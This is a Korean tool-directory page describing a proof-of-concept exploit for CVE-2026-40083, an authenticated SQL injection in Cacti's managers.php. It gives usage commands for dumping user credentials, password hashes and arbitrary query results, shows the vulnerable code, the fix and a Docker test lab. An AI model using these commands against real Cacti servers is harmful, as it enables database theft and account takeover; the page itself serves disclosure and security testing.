Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-40083 — CVE-2026-40083에 대한 개념 증명 익스플로잇으로, Cacti의 managers.php에 존재하는 SQL 인젝션 취약점으로 인증된 사용자가 MySQL 데이터베이스, 사용자 자격 증명 및 비밀번호 해시를 추출할 수 있습니다. 테스트용 Docker 랩이 포함되어 있습니다. | Kitploit
도구/GitHubGitHub/hakaioffsec/cve-2026-40083
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase SecurityLabs & Practice
GitHubhakaioffsec/cve-2026-40083

CVE-2026-40083

CVE-2026-40083에 대한 개념 증명 익스플로잇으로, Cacti의 managers.php에 존재하는 SQL 인젝션 취약점으로 인증된 사용자가 MySQL 데이터베이스, 사용자 자격 증명 및 비밀번호 해시를 추출할 수 있습니다. 테스트용 Docker 랩이 포함되어 있습니다.

저장소 보기
222개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Cacti managers.php의 SQL 인젝션

CVE-2026-40083에 대한 개념 증명 익스플로잇으로, Cacti의 managers.php에 존재하는 SQL 인젝션 취약점입니다. 이 취약점을 통해 SNMP Manager 권한이 있는 모든 인증된 사용자가 사용자 자격 증명과 비밀번호 해시를 포함한 전체 MySQL 데이터베이스를 읽을 수 있습니다.

사용법:

root@kitploit:~
# Verify injection (time-based)
$ python3 exploit/poc.py --url http://TARGET --user admin --password admin

# Dump specific user credentials
$ python3 exploit/poc.py --url http://TARGET --user admin --password admin --target-id 1

# Extract arbitrary SQL query result
$ python3 exploit/poc.py --url http://TARGET --user admin --password admin --query "SELECT version()"

# Enumerate all users (scan IDs 1-50)
$ python3 exploit/poc.py --url http://TARGET --user admin --password admin --max-id 50

# With Burp proxy
$ python3 exploit/poc.py --url http://TARGET --user admin --password admin --proxy http://127.0.0.1:8080

취약한 버전

  • Cacti ≤ 1.2.30 (1.2.31에서 패치됨)

근본 원인

managers.php에서 의 사용자 입력은 를 통해 역직렬화된 후, 검증 없이 직접 SQL에 implode됩니다:

selected_graphs_array
cacti_unserialize()
root@kitploit:~
$selected_items = cacti_unserialize(stripslashes(gnrv('selected_graphs_array')));

if ($selected_items != false) {
    // No validation - direct implode into SQL
    db_execute('DELETE FROM snmpagent_managers WHERE id IN (' . implode(',', $selected_items) . ')');
}

selected_graphs_array 매개변수는 PHP 직렬화된 배열을 허용합니다. 배열 요소는 쉼표로 결합된 후 IN 절에 직접 삽입됩니다.

영향을 받는 엔드포인트

POST /managers.php (action=actions, drp_action=1|2|3)

영향

SQL 인젝션 취약점으로 인해 SNMP Manager 권한이 있는 인증된 사용자가 데이터베이스에서 임의의 쿼리를 실행할 수 있습니다. 이를 통해 사용자 데이터, 설정, 장치 자격 증명 및 SNMP 커뮤니티가 포함된 테이블을 읽을 수 있을 뿐만 아니라 bcrypt 해시와 API 토큰을 추출하여 계정 탈취로 이어질 수 있습니다. 또한 이 결함으로 지연 명령을 실행할 수 있어 동시 데이터베이스 연결을 고갈시켜 서비스 거부(DoS)를 유발할 수 있습니다.

CVSS

7.2 높음 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

수정 사항

커밋 52032e760은 implode 전에 array_map('intval', $selected_items)를 추가하여 모든 값을 정수로 캐스팅합니다.

실습 환경 구성

root@kitploit:~
docker-compose up -d --build

초기화에 약 30초 정도 기다리세요. http://localhost:8088에서 Cacti에 접속합니다.

기본 자격 증명: admin / admin

root@kitploit:~
# Test exploit
python3 exploit/poc.py --url http://localhost:8088 --user admin --password admin --target-id 1

면책 조항

이 도구는 교육 및 연구 목적으로만 제공됩니다. 소유한 시스템이나 명시적 테스트 허가를 받은 시스템에서만 사용하세요. 저자는 이 프로그램으로 인한 오용이나 손해에 대해 책임을 지지 않습니다.

QuimeraX Intelligence

QuimeraX Intelligence는 복잡한 시스템에서 중요한 취약점을 식별하는 데 특화된 고급 EASM 및 사이버 위협 인텔리전스 플랫폼입니다. 이 플랫폼은 보안 위협에 대해 사전 예방적으로 모니터링, 탐지 및 경고하여 잠재적 위험에 대한 투명성과 신속한 대응을 보장합니다. 고객은 시스템이 취약한 것으로 확인되면 즉시 알림과 포괄적인 보고서를 받아 보호 조치를 취할 수 있습니다. 자세히 알아보기

Hakai Security

Hakai Security는 보안 전문가들이 설립한 사이버 보안 기업으로, 기술적 우수성을 추구합니다. 저희는 고객의 자산을 진화하는 사이버 위협으로부터 사전에 보호하기 위해 고급 침투 테스트, 실제적인 레드 팀 시뮬레이션, 안전한 개발 관행을 포함한 맞춤형 보안 솔루션을 제공합니다.

Hacking Club

Hacking Club은 보안 컨설팅 회사에서 일하는 전문가들이 만든 실습 수업, 랩, 챌린지를 통해 사이버 보안을 배우는 교육 플랫폼입니다. 현장에서 바로 여러분의 교육으로 이어집니다. 해킹 클럽과 함께 이 저장소에 소개된 취약점을 실습해 보세요! 자세히 알아보기

도구 다운로드